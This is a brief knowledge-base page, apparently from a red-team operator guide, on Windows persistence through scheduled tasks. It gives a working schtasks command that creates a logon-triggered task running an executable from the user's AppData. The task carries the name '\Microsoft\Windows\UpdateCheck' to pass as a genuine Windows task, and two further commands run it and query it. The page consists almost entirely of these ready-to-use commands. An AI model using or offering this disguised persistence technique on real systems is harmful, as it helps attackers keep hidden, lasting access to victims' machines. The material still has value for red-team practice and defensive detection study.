Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 04. Windows / 03. Persistence / Scheduled Tasks

Current User Logon Task

This runs when the current user logs on.

schtasks /create /tn "\Microsoft\Windows\UpdateCheck" /sc onlogon /tr "%LOCALAPPDATA%\Microsoft\WindowsApps\updater.exe" /f

Run it immediately for verification:

schtasks /run /tn "\Microsoft\Windows\UpdateCheck"

Query it:

schtasks /query /tn "\Microsoft\Windows\UpdateCheck" /fo LIST /v